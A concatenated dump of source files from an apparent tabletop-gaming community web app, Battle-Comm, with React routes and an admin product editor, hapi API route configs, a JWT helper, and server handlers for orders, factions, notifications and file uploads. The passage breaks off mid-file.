'/admin/products', 'component': SearchProducts, 'exact': true, 'access': ['systemAdmin'] }, { 'path': '/admin/products/create', 'component': EditProduct, 'strict': true, 'access': ['systemAdmin'] }, { 'path': '/admin/products/edit/:productId', 'component': EditProduct, 'strict': true, 'access': ['systemAdmin'] }, { 'path': '/admin/venue', 'component': AssignPoints, 'exact': true, 'access': ['eventAdmin'] }, { 'path': '/admin/event', 'component': AssignPoints, 'exact': true, 'access': ['eventAdmin'] }, { 'path': '/admin/event/assign-points', 'component': AssignPoints, 'exact': true, 'access': ['eventAdmin'] }, { 'path': '/admin/users', 'component': SearchUsers, 'exact': true, 'access': ['systemAdmin'] }, { 'path': '/admin/users/edit/:userId', 'component': EditUser, 'strict': true, 'access': ['systemAdmin'] }, // Public... { 'path': '/forgot-password', 'component': ForgotPassword, 'exact': true }, { 'path': '/login', 'component': Login, 'exact': true }, // News { 'path': '/news', 'component': News, 'exact': true }, { 'path': '/news/post/:postId', 'component': NewsPost }, // Public cont... { 'path': '/ranking/search/:gameSystemId', 'component': PlayerRankingSearch, 'exact': true, 'strict': true }, { 'path': '/ranking/search/:gameSystemId/:factionId', 'component': PlayerRankingSearch, 'exact': true, 'strict': true }, { 'path': '/register', 'component': Register, 'exact': true }, // Players { 'path': '/players', 'component': PlayerSearch, 'exact': true }, { 'path': '/players/dashboard', 'component': PlayerDashboard, 'exact': true, 'strict': true, 'access': ['member'] }, { 'path': '/players/dashboard/account-edit', 'component': PlayerAccountEdit, 'access': ['member'] }, { 'path': '/players/dashboard/change-password', 'component': PlayerChangePassword, 'access': ['member'] }, { 'path': '/players/dashboard/notifications', 'component': PlayerNotifications, 'access': ['member'] }, { 'path': '/players/profile/:playerHandle', 'component': PlayerProfile, 'strict': true, 'exact': true }, { 'path': '/players/profile/:playerHandle/ally-search', 'component': PlayerAllySearch }, // Public cont... { 'path': '/reset-password/:resetToken', 'component': ResetPassword, 'exact': true }, // Store { 'path': '/store', 'component': Store, 'exact': true }, { 'path': '/store/cart', 'component': Cart, 'access': ['member'] }, { 'path': '/store/checkout', 'component': Checkout, 'access': ['member'] }, { 'path': '/store/order-success', 'component': OrderSuccess, 'access': ['member'] }, { 'path': '/store/products/:productId', 'component': Product, 'access': ['member'] }, { 'path': '/subscribe', 'component': Subscribe, 'exact': true, 'access': ['member'] }, // If no route matches, return NotFound component { 'component': NotFound } ]; export default routes; <file_sep>/src/constants/BannerSlideConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_BANNER_SLIDE_REQUEST: null, GET_BANNER_SLIDE: null, GET_BANNER_SLIDES: null, CREATE_BANNER_SLIDE: null, UPDATE_BANNER_SLIDE: null, REMOVE_BANNER_SLIDE: null }); <file_sep>/compiled-server/utils/createUserToken.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _jsonwebtoken = require('jsonwebtoken'); var _jsonwebtoken2 = _interopRequireDefault(_jsonwebtoken); var _envVariables = require('../../envVariables'); var _envVariables2 = _interopRequireDefault(_envVariables); var _roleConfig = require('../../roleConfig'); var _roleConfig2 = _interopRequireDefault(_roleConfig); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var createUserToken = function createUserToken(user, rememberMe) { var scopes = []; _roleConfig2.default.forEach(function (role) { if (user[role.name]) { scopes.push(role.name); } }); // Sign the JWT return _jsonwebtoken2.default.sign({ 'id': user.id, 'username': user.username, 'scope': scopes }, _envVariables2.default.secret, { 'algorithm': 'HS256', 'expiresIn': rememberMe ? '30d' : '4h' }); }; exports.default = createUserToken;<file_sep>/server/routes/api/userNotifications.js 'use strict'; import Joi from 'joi'; import { userNotifications } from '../handlers'; module.exports = [ // User Notifications { 'method': 'GET', 'path': '/api/userNotifications/{id}', 'config': { 'tags': ['api'], 'description': 'Get user notifications by id', 'notes': 'Get user notifications by id', 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': userNotifications.get }, { 'method': 'POST', 'path': '/api/userNotifications', 'config': { 'tags': ['api'], 'description': 'Add a new userNotification', 'notes': 'Add a new userNotification', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'payload': { 'UserId': Joi.number().required(), 'type': Joi.string().valid('allyRequestReceived', 'allyRequestAccepted', 'newAchievement', 'newMessage').required(), 'status': Joi.optional(), 'fromId': Joi.number().required(), 'fromUsername': Joi.string().required(), 'fromName': Joi.string().required() } } }, 'handler': userNotifications.create }, { 'method': 'PUT', 'path': '/api/userNotifications/{id}', 'config': { 'tags': ['api'], 'description': 'Update a user notification by id', 'notes': 'Update a user notification by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'UserId': Joi.number().required(), 'type': Joi.string().valid().required('allyRequestReceived', 'allyRequestAccepted', 'newAchievement', 'newMessage'), 'status': Joi.string().required(), 'fromId': Joi.number().required(), 'fromName': Joi.string().required() } } }, 'handler': userNotifications.update }, { 'method': 'POST', 'path': '/api/search/userNotifications', 'config': { 'tags': ['api'], 'description': 'Return user notification search results', 'notes': 'Return user notification search results', 'validate': { 'payload': { 'UserId': Joi.number().required(), 'maxResults': Joi.optional(), 'searchQuery': Joi.optional(), 'searchBy': Joi.optional(), 'orderBy': Joi.string().required(), 'pageNumber': Joi.number().required(), 'pageSize': Joi.optional() } } }, 'handler': userNotifications.search }, { 'method': 'DELETE', 'path': '/api/userNotifications/{id}', 'config': { 'tags': ['api'], 'description': 'Delete a user notification by id', 'notes': 'Delete a user notification by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': userNotifications.delete } ]; <file_sep>/server/routes/handlers/productOrders.js 'use strict'; import env from '../../../envVariables'; import models from '../../models'; import nodemailer from 'nodemailer'; import buildOrderSuccessEmail from '../../email-templates/orderSuccess'; let transporter = nodemailer.createTransport(({ 'service': 'Gmail', 'auth': { 'type': 'OAuth2', 'clientId': env.email.OAuth2.clientId, 'clientSecret': env.email.OAuth2.clientSecret } })); // Product Route Configs let productOrders = { get: (request, reply) => { models.ProductOrder.find({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, getAll: (request, reply) => { models.ProductOrder.findAll() .then((products) => { reply(products).code(200); }); }, create: (request, reply) => { models.User.find({ 'where': { 'id': request.payload.UserId } }).then((user) => { if (user) { user.decrement({ 'rewardPoints': request.payload.orderTotal }).then((user) => { models.ProductOrder.create({ 'status': request.payload.status, 'orderDetails': request.payload.orderDetails, 'productDetails': request.payload.productDetails, 'orderTotal': request.payload.orderTotal, 'UserId': request.payload.UserId, 'customerFullName': request.payload.customerFullName, 'customerEmail': request.payload.customerEmail, 'phone': request.payload.phone, 'shippingStreet': request.payload.shippingStreet, 'shippingApartment': request.payload.shippingApartment, 'shippingCity': request.payload.shippingCity, 'shippingState': request.payload.shippingState, 'shippingZip': request.payload.shippingZip, 'shippingCountry': request.payload.shippingCountry }) .then((order) => { order = order.get({'plain': true}); let customerMailConfig = { 'from': env.email.user, 'to': order.customerEmail, 'subject': `Order Confirmation: Battle-Comm, Order #${order.id}`, 'html': buildOrderSuccessEmail(order), 'service': 'Gmail', 'auth': { 'user': env.email.user, 'refreshToken': env.email.OAuth2.refreshToken } }; let adminMailConfig = { 'from': env.email.user, 'to': env.email.user, 'subject': `New Order: #${order.id}, ${order.customerFullName}`, 'html': buildOrderSuccessEmail(order), 'service': 'Gmail', 'auth': { 'user': env.email.user, 'refreshToken': env.email.OAuth2.refreshToken } }; transporter.sendMail(customerMailConfig, (error, info) => { if (error) { console.log(error); reply('Somthing went wrong'); } else { transporter.sendMail(adminMailConfig); reply(order).code(200); } }); }); }) } else { reply(Boom.notFound('User not found')); } }); }, update: (request, reply) => { models.ProductOrder.find({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { response.updateAttributes({ 'status': request.payload.status, 'orderDetails': request.payload.orderDetails, 'orderTotal': request.payload.orderTotal, 'UserId': request.payload.UserId, 'customerFullName': request.payload.customerFullName, 'customerEmail': request.payload.customerEmail, 'phone': request.payload.phone, 'shippingStreet': request.payload.shippingStreet, 'shippingApartment': request.payload.shippingApartment, 'shippingCity': request.payload.shippingCity, 'shippingState': request.payload.shippingState, 'shippingZip': request.payload.shippingZip, 'shippingCountry': request.payload.shippingCountry }).then((order) => { order = order.get({'plain': true}); let customerMailConfig = { 'from': env.email.user, 'to': order.customerEmail, 'subject': `Order Confirmation: Battle-Comm, Order #${order.id}`, 'html': buildOrderSuccessEmail(order), 'service': 'Gmail', 'auth': { 'user': env.email.user, 'refreshToken': env.email.OAuth2.refreshToken } }; let adminMailConfig = { 'from': env.email.user, 'to': env.email.user, 'subject': `Order Updated: #${order.id}, ${order.customerFullName}`, 'html': buildOrderSuccessEmail(order), 'service': 'Gmail', 'auth': { 'user': env.email.user, 'refreshToken': env.email.OAuth2.refreshToken } }; transporter.sendMail(adminMailConfig, (error, info) => { if (error) { console.log(error); reply('Somthing went wrong'); } else { if (order.status === 'shipped') { transporter.sendMail(customerMailConfig); } reply(order).code(200); } }); }); } else { reply().code(404); } }); }, 'search': (request, reply) => { let searchByConfig; let pageSize = parseInt(request.payload.pageSize, 10) || 20; let searchQuery = request.payload.searchQuery || ''; let offset = (request.payload.pageNumber - 1) * pageSize; let orderBy = request.payload.orderBy ? [request.payload.orderBy, 'DESC'] : undefined; if (searchQuery) { searchByConfig = request.payload.searchBy ? { [request.payload.searchBy]: { '$iLike': '%' + searchQuery + '%' } } : { '$or': [{ 'customerFullName': { '$iLike': '%' + searchQuery + '%' } }, { 'customerEmail': { '$iLike': '%' + searchQuery + '%' } }, { 'shippingCity': { '$iLike': '%' + searchQuery + '%' } }, { 'shippingStreet': { '$iLike': '%' + searchQuery + '%' } } ] }; } else { searchByConfig = {}; } models.ProductOrder.findAndCountAll({ 'where': searchByConfig, 'offset': offset, 'limit': pageSize, 'order': orderBy ? [orderBy] : [] }).then((response) => { let count = response.count; let results = response.rows; let totalPages = Math.ceil(count === 0 ? 1 : (count / pageSize)); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }, delete: (request, reply) => { models.ProductOrder.destroy({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { reply().code(200); } else { reply().code(404); } }); } }; export default productOrders; <file_sep>/compiled-server/routes/handlers/factions.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } // Product Route Configs var factions = { create: function create(request, reply) { _models2.default.Faction.create({ 'GameSystemId': request.payload.GameSystemId, 'name': request.payload.name }).then(function (response) { reply(response).code(200); }); }, update: function update(request, reply) { _models2.default.Faction.find({ 'where': { 'id': request.params.id } }).then(function (faction) { if (faction) { faction.updateAttributes({ 'name': request.payload.name }).then(function (response) { reply(response).code(200); }); } else { reply().code(404); } }); }, delete: function _delete(request, reply) { _models2.default.Faction.destroy({ 'where': { 'id': request.params.id } }).then(function (response) { if (response) { reply().code(200); } else { reply().code(404); } }); } }; exports.default = factions;<file_sep>/compiled-server/routes/handlers/files.js 'use strict'; var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); var _fsExtra = require('fs-extra'); var _fsExtra2 = _interopRequireDefault(_fsExtra); var _envVariables = require('../../../envVariables.js'); var _envVariables2 = _interopRequireDefault(_envVariables); var _imageConfig = require('../../constants/imageConfig'); var _imageConfig2 = _interopRequireDefault(_imageConfig); var _boom = require('boom'); var _boom2 = _interopRequireDefault(_boom); var _imagemagickStream = require('imagemagick-stream'); var _imagemagickStream2 = _interopRequireDefault(_imagemagickStream); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } // TODO: Switch to npm package 'gm' for image modification // TODO: Figure out why imagemagick-stream is not properly resizing images // File Upload Route Configs var files = { create: function create(request, reply) { _models2.default.File.create({ 'AchievementId': request.payload.AchievementId, 'BannerSlideId': request.payload.BannerSlideId, 'GameSystemId': request.payload.GameSystemId, 'ManufacturerId': request.payload.ManufacturerId, 'NewsPostId': request.payload.NewsPostId, 'ProductId': request.payload.ProductId, 'UserId': request.payload.UserId, 'UserAchievementId': request.payload.UserAchievementId, 'identifier': request.payload.identifier, 'locationUrl': request.payload.locationUrl, 'label': request.payload.label, 'name': request.payload.name, 'size': request.payload.size, 'type': request.payload.type }).then(function (file) { reply(file).code(200); }); }, update: function update(request, reply) { _models2.default.File.find({ 'where': { 'id': request.params.id } }).then(function (file) { if (file) { file.updateAttributes({ 'AchievementId': request.payload.AchievementId, 'BannerSlideId': request.payload.BannerSlideId, 'GameSystemId': request.payload.GameSystemId, 'ManufacturerId': request.payload.ManufacturerId, 'NewsPostId': request.payload.NewsPostId, 'ProductId': request.payload.ProductId, 'UserId': request.payload.UserId, 'UserAchievementId': request.payload.UserAchievementId, 'identifier': request.payload.identifier, 'locationUrl': request.payload.locationUrl, 'label': request.payload.label, 'name': request.payload.name, 'size': request.payload.size, 'type': request.payload.type }).then(function (file) { reply(file).code(200); }); } else { reply().code(404); } }); }, add: function add(request, reply) { var data = request.payload; if (!data.path || !data.fileSize) { reply(_boom2.default.badRequest('A \'path\' and \'fileSize\' attribute must be appended to the FormData object')); } else if (data.file) { // Handle any image resizing and duplication here var resizeArray = []; if (data.identifier === 'playerIcon' || data.identifier === 'achievement') { _imageConfig2.default[data.identifier].sizes.forEach(function (size) { resizeArray.push({ 'name': size + '-' + data.file.hapi.filename, 'resize': (0, _imagemagickStream2.default)().resize(size + 'x' + size + '!').quality(100) }); }); } var filename = data.file.hapi.filename; var location = __dirname + '/../../../dist' + _envVariables2.default.uploadPath + data.path; var path = location + filename; // Using ensureDir instead of ensureFile allow us to overwrite files if they already exist _fsExtra2.default.ensureDir(location, function (err) { if (err) { reply(_boom2.default.notAcceptable('An error occured during ensureDir')); return; } // Create the initial file to read from var file = _fsExtra2.default.createWriteStream(path); data.file.pipe(file); data.file.on('end', function (err) { if (err) { reply(_boom2.default.notAcceptable('An error occured on file end (resizeArray loop)')); return; } // TODO: Double check that type is correct var successResponse = { 'file': { 'name': filename, 'size': data.fileSize, 'type': data.file.hapi.headers['content-type'], 'locationUrl': _envVariables2.default.uploadPath + data.path }, 'filename': data.file.hapi.filename, 'headers': data.file.hapi.headers, 'status': 200, 'statusText': 'File uploaded successfully!' }; if (resizeArray.length > 0) { var count = 0; resizeArray.forEach(function (resizeConfig) { var read = _fsExtra2.default.createReadStream(path); var resizePath = location + resizeConfig.name; var write = _fsExtra2.default.createWriteStream(resizePath); read.pipe(resizeConfig.resize).pipe(write); // NOTE: If this fails, it is likely that imagemagick is not installed on the machine read.on('end', function (err) { if (err) { reply(_boom2.default.notAcceptable('An error occured on file end (resizeArray loop)')); return; } // Set file folder permissions and owners/groups just for safe measure _fsExtra2.default.chownSync(location, _envVariables2.default.serverUID, _envVariables2.default.serverGID); _fsExtra2.default.chmodSync(location, '0775'); // Wait for all files to upload before returning response // TODO: Double check that this works count++; if (count >= resizeArray.length) { reply(JSON.stringify(successResponse)).code(200); } }); }); } else { // Set file folder permissions and owners/groups just for safe measure _fsExtra2.default.chown(location, _envVariables2.default.serverUID, _envVariables2.default.serverGID, function (err) { if (err) { reply(_boom2.default.notAcceptable('chown: ' + err)); return; } _fsExtra2.default.chmod(location, '0775', function (err) { if (err) { reply(_boom2.default.notAcceptable('chown: ' + err)); return; } reply(JSON.stringify(successResponse)); }); }); } }); }); } else { reply(_boom2.default.badRequest('There was an error uploading your file.')); } }, getAll: function getAll(request, reply) { _models2.default.File.findAll({ 'limit': 50 }).then(function (files) { reply(files).code(200); }); }, delete: function _delete(request, reply) { // TODO: Double check that this is safe and will not delete directories _models2.default.File.find({ 'where': { 'id': request.params.id } }).then(function (file) { if (!file.locationUrl || !file.name) { reply(_boom2.default.notAcceptable('File object is missing a proper locationUrl property or name property')); } var fileName = file.name; var locationPath = __dirname + '/../../../dist' + file.locationUrl; var locationUrl = locationPath + fileName; if (locationUrl.slice(-1) === '/' || locationUrl.indexOf('.') < 0) { reply(_boom2.default.notAcceptable('File object is missing a proper locationUrl property or file name')); } else { _models2.default.File.destroy({ 'where': { 'id': request.params.id } }).then(function (fileDeleted) { if (fileDeleted) { _fsExtra2.default.unlink(locationUrl, function (err) { if (err) { console.log(err); reply('Error deleting file. File not found.').code(200); return; } // TODO: Add any file that gets duplicated and resized along with resizeConfig if (file.identifier === 'achievement') { var count = 0; _imageConfig2.default[file.identifier].sizes.forEach(function (size) { _fsExtra2.default.unlink(locationPath + '/' + size + '-' + fileName, function (error) { if (error) { console.log(error); } else { count++; if (count >= _imageConfig2.default[file.identifier].sizes.length) { reply().code(200); } } }); }); } else { reply().code(200); } }); } else { reply(_boom2.default.notFound('File missing, cannot delete.')); } }); } }); } }; module.exports = files;<file_sep>/src/components/pages/admin/EditProduct.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../../library/alerts'; import {handlers, uploadFiles} from '../../../library/utilities'; import {Form, Input, TextArea, Select, CheckBox, FileUpload, getFormErrorCount} from '../../../library/validations'; import ViewWrapper from '../../ViewWrapper'; import FileService from '../../../services/FileService'; import GameSystemService from '../../../services/GameSystemService'; import ManufacturerActions from '../../../actions/ManufacturerActions'; import ManufacturerService from '../../../services/ManufacturerService'; import ProductService from '../../../services/ProductService'; import AdminMenu from '../../pieces/AdminMenu'; const mapStateToProps = (state) => { return { 'manufacturers': state.manufacturers, 'forms': state.forms } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'getManufacturers': ManufacturerActions.getAll }, dispatch); } class EditProduct extends React.Component { constructor() { super(); this.state = { 'factions': [], 'files': [], 'gameSystems': [], 'newFiles': [], 'newProduct': false, 'product': { 'Files': [], 'ManufacturerId': '', 'GameSystemId': '', 'FactionId': '', }, 'productPhotoFront': [], 'productPhotoBack': [], 'skuIsDisabled': false } this.getDirectoryPath = this.getDirectoryPath.bind(this); this.handleDeleteFile = this.handleDeleteFile.bind(this); this.handleFileUpload = this.handleFileUpload.bind(this); this.handleGameSystemChange = this.handleGameSystemChange.bind(this); this.handleCheckBoxChange = this.handleCheckBoxChange.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.handleManufacturerChange = this.handleManufacturerChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); this.uploadFiles = this.uploadFiles.bind(this); } componentDidMount() { document.title = "Battle-Comm | Product Edit"; this.props.getManufacturers(); if (this.props.match.params.productId) { ProductService.get(this.props.match.params.productId).then((product) => { let productPhotoFront = product.Files.filter((file) => { return file.identifier === 'productPhotoFront' }); let productPhotoBack = product.Files.filter((file) => { return file.identifier === 'productPhotoBack' }); this.setState({ 'files': product.Files ? product.Files : [], 'product': product, 'productPhotoFront': productPhotoFront, 'productPhotoBack': productPhotoBack, 'skuIsDisabled': true }); if (product.ManufacturerId) { ManufacturerService.get(product.ManufacturerId).then((manufacturer) => { this.setState({ 'gameSystems': manufacturer.GameSystems }); if (product.GameSystemId) { GameSystemService.get(product.GameSystemId).then((gameSystem) => { this.setState({ 'factions': gameSystem.Factions }); }); } }); } }); } else { this.setState({ 'newProduct': true }) } } getDirectoryPath() { let year = new Date(); year = year.getFullYear(); return `rpstore/${this.state.product.SKU}/`; } // TODO: Handle setState of front, back handleDeleteFile(fileId, frontBack, e) { if (e) { e.preventDefault(); } FileService.remove(fileId).then(() => { let files = this.state.files; if (frontBack === 'front') { this.setState({ 'productPhotoFront': [] }); } else { this.setState({ 'productPhotoBack': [] }); } this.showAlert('fileRemoved'); }); } handleFileUpload(identifier, files) { let product = this.state.product; let newFiles = this.state.newFiles; this.uploadFiles(files).then((responses) => { responses = responses.map((response, i) => { response = { 'name': response.data.file.name, 'size': response.data.file.size, 'type': response.data.file.type, 'locationUrl': response.data.file.locationUrl, 'identifier': identifier }; return response; }); let files = responses.concat(product.Files); newFiles = newFiles.concat(responses); let productPhotoFront = identifier === 'productPhotoFront' ? responses : this.state.productPhotoFront; let productPhotoBack = identifier === 'productPhotoBack' ? responses : this.state.productPhotoBack; this.setState({ 'files': files, 'newFiles': newFiles, 'skuIsDisabled': true, 'productPhotoFront': productPhotoFront, 'productPhotoBack': productPhotoBack }); this.showAlert('uploadSuccess'); }); } handleGameSystemChange(e) { let product = this.state.product; product.GameSystemId = e.target.value; product.FactionId = undefined; GameSystemService.get(e.target.value).then((gameSystem) => { this.setState({ 'product': product, 'factions': gameSystem.Factions }); }); } handleCheckBoxChange(e) { this.setState({ 'product': handlers.updateCheckBox(e, this.state.product) }); } handleInputChange(e) { this.setState({ 'product': handlers.updateInput(e, this.state.product) }); } handleManufacturerChange(e) { let product = this.state.product; product.ManufacturerId = e.target.value; product.GameSystemId = undefined; product.FactionId = undefined; ManufacturerService.get(e.target.value).then((manufacturer) => { this.setState({ 'product': product, 'gameSystems': manufacturer.GameSystems }); }); } handleSubmit(e) { e.preventDefault(); let post = this.state.product; let method = this.props.match.params.productId ? 'update' : 'create'; post.UserId = this.props.playerId; ProductService[method]((method === 'update' ? post.id : post), (method === 'update' ? post : null)).then((product) => { let newFiles = this.state.newFiles; if (newFiles.length > 0) { newFiles.forEach((file, i) => { FileService.create({ 'ProductId': product.id, 'identifier': file.identifier, 'locationUrl': file.locationUrl, 'name': file.name, 'size': file.size, 'type': file.type }); }); } this.setState({ 'product': product }); if (this.props.match.params.productId) { this.showAlert('productUpdated'); this.props.history.push('/admin/products'); } else { this.showAlert('productCreated'); } }); } showAlert(selector) { const alerts = { 'productCreated': () => { this.props.addAlert({ 'title': 'News Product Created', 'message': `New product, ${this.state.product.name}, successfully created.`, 'type': 'success', 'delay': 3000 }); }, 'productUpdated': () => { this.props.addAlert({ 'title': 'Product Updated', 'message': `Product, ${this.state.product.name}, was successfully updated.`, 'type': 'success', 'delay': 3000 }); }, 'fileRemoved': () => { this.props.addAlert({ 'title': 'File Deleted', 'message': `File was successfully deleted.`, 'type': 'info', 'delay': 3000 }); }, 'uploadSuccess': () => { this.props.addAlert({ 'title': 'Upload Success', 'message': `New file successfully uploaded. Click 'update' to complete transaction.`, 'type': 'success', 'delay': 3000 }); }, } return alerts[selector](); } uploadFiles(files) { let directoryPath = this.getDirectoryPath(); console.log(directoryPath); return uploadFiles(files, '/files/add', directoryPath, { 'identifier': 'productPhoto' }); } render() { let formIsValid = getFormErrorCount(this.props.forms, 'productForm') < 1; return ( <ViewWrapper headerImage="/images/Titles/Product_Edit.png" headerAlt="Product Edit"> <div className="small-12 columns"> <hr/> <AdminMenu></AdminMenu> <hr/> </div> <div className="row"> <div className="small-12 columns"> <h2>{this.state.newProduct ? 'Create New Product' : `${this.state.product.name}`}</h2> </div> <div className="small-12 medium-8 large-9 columns"> <fieldset> <Form name="productForm" submitButton={false}> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Name</label> <Input type="text" name="name" value={this.state.product.name} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Price</label> <Input type="number" name="price" value={this.state.product.price} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Shipping Cost</label> <Input type="number" name="shippingCost" value={this.state.product.shippingCost} handleInputChange={this.handleInputChange} step="0.01" required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label>Manufacturer</label> <Select name="ManufacturerId" value={this.state.product.ManufacturerId || ''} handleInputChange={this.handleManufacturerChange}> <option value="">--Select--</option> { this.props.manufacturers.map((manufacturer, i) => <option key={manufacturer.id} value={manufacturer.id}>{manufacturer.name}</option> ) } </Select> </div> <div className="form-group small-12 medium-4 columns"> <label>Game System</label> <Select name="GameSystemId" value={this.state.product.GameSystemId || ''} handleInputChange={this.handleGameSystemChange}> <option value="">--Select--</option> { this.state.gameSystems.map((gameSystem, i) => <option key={gameSystem.id} value={gameSystem.id}>{gameSystem.name}</option> ) } </Select> </div> <div className="form-group small-12 medium-4 columns"> <label>Faction</label> <Select name="FactionId" value={this.state.product.FactionId || ''} handleInputChange={this.handleInputChange}> <option value="">--Select--</option> { this.state.factions.map((faction, i) => <option key={faction.id} value={faction.id}>{faction.name}</option> ) } </Select> </div> </div> <div className="row"> <div className="form-group small-12 medium-3 columns"> <label className="required">SKU</label> <Input type="text" name="SKU" value={this.state.product.SKU} handleInputChange={this.handleInputChange} disabled={this.state.skuIsDisabled} required={true} /> </div> <div className="form-group small-12 medium-3 columns"> <label className="required">Stock Qty</label> <Input type="number" name="stockQty" value={this.state.product.stockQty} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-3 columns"> <label>Color</label> <Input type="text" name="color" value={this.state.product.color} handleInputChange={this.handleInputChange} /> </div> <div className="form-group small-12 medium-3 columns"> <label className="required">Category</label> <Input type="text" name="category" value={this.state.product.category} handleInputChange={this.handleInputChange} required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 medium-3 columns"> <CheckBox name="isDisplayed" value={this.state.product.isDisplayed} handleInputChange={this.handleCheckBoxChange} label="Display In Store?"/> </div> <div className="form-group small-12 medium-3 columns"> <CheckBox name="isNew" value={this.state.product.isNew} handleInputChange={this.handleCheckBoxChange} label="New Product?"/> </div> <div className="form-group small-12 medium-3 columns"> <CheckBox name="isFeatured" value={this.state.product.isFeatured} handleInputChange={this.handleCheckBoxChange} label="Featured Product?"/> </div> <div className="form-group small-12 medium-3 columns"> <CheckBox name="isOnSale" value={this.state.product.isOnSale} handleInputChange={this.handleCheckBoxChange} label="On Sale?"/> </div> </div> <div className="row"> <div className="form-group small-12 medium-6 columns"> <label className="required">Description</label> <TextArea type="text" name="description" value={this.state.product.description} rows="5" handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-6 columns"> <label className="required">Tags</label> <TextArea type="text" name="tags" value={this.state.product.tags} handleInputChange={this.handleInputChange} required={true} /> </div> </div> <fieldset> <div className="row"> <div className="small-12 medium-4 columns"> <label className="required">Featured Image (front)</label> { this.state.productPhotoFront.length > 0 && <img src={`${this.state.productPhotoFront[0].locationUrl}${this.state.productPhotoFront[0].name}`} /> } </div> <div className="small-12 medium-4 columns"> <label className="required">Image Name</label> { this.state.productPhotoFront.length > 0 && <h6>{this.state.productPhotoFront[0].name}</h6> } { this.state.productPhotoFront.length > 0 && this.state.productPhotoFront[0].id && <button className="button alert" onClick={this.handleDeleteFile.bind(this, this.state.productPhotoFront[0].id, 'front')}>Delete File?</button> } </div> <div className="form-group small-12 medium-4 columns"> <FileUpload name="productPhotoFront" value={this.state.productPhotoFront} handleFileUpload={this.handleFileUpload.bind(this, 'productPhotoFront')} handleDeleteFile={this.handleDeleteFile} maxFiles={1} required={1} hideFileList={true} accept="image/*" disabled={!this.state.product.SKU || this.state.productPhotoFront.length > 0}/> </div> </div> <hr /> <div className="row"> <div className="small-12 medium-4 columns"> <label className="required">Featured Image (back)</label> { this.state.productPhotoBack.length > 0 && <img src={`${this.state.productPhotoBack[0].locationUrl}${this.state.productPhotoBack[0].name}`} /> } </div> <div className="small-12 medium-4 columns"> <label className="required">Image Name</label> { this.state.productPhotoBack.length > 0 && <h6>{this.state.productPhotoBack[0].name}</h6> } { this.state.productPhotoBack.length > 0 && this.state.productPhotoBack[0].id && <button className="button alert" onClick={this.handleDeleteFile.bind(this, this.state.productPhotoBack[0].id, 'back')}>Delete File?</button> } </div> <div className="form-group small-12 medium-4 columns"> <FileUpload name="productPhotoBack" value={this.state.productPhotoBack} handleFileUpload={this.handleFileUpload.bind(this, 'productPhotoBack')} handleDeleteFile={this.handleDeleteFile} maxFiles={1} required={1} hideFileList={true} accept="image/*" disabled={!this.state.product.SKU || this.state.productPhotoBack.length > 0}/> </div> </div> </fieldset> </Form> </fieldset> </div> <div className="small-12 medium-4 large-3 columns"> <div className="panel push-bottom-2x push-top"> <div className="panel-content text-center"> <button className="button collapse black small-12" onClick={this.handleSubmit} disabled={!formIsValid}>{this.state.newProduct ? 'Create Product' : 'Update Product'}</button> </div> </div> </div> </div> </ViewWrapper> ) } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(EditProduct)); <file_sep>/compiled-server/routes/handlers/userNotifications.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); var _boom = require('boom'); var _boom2 = _interopRequireDefault(_boom); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } // Product Route Configs var userNotifications = { get: function get(request, reply) { _models2.default.UserNotification.find({ 'where': { 'UserId': request.params.id } }).then(function (response) { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, create: function create(request, reply) { _models2.default.UserNotification.findOrCreate({ 'where': { '$and': [{ 'UserId': request.payload.UserId }, { 'type': request.payload.type }, { 'fromId': request.payload.fromId }] }, 'defaults': { 'UserId': request.payload.UserId, 'type': request.payload.type, 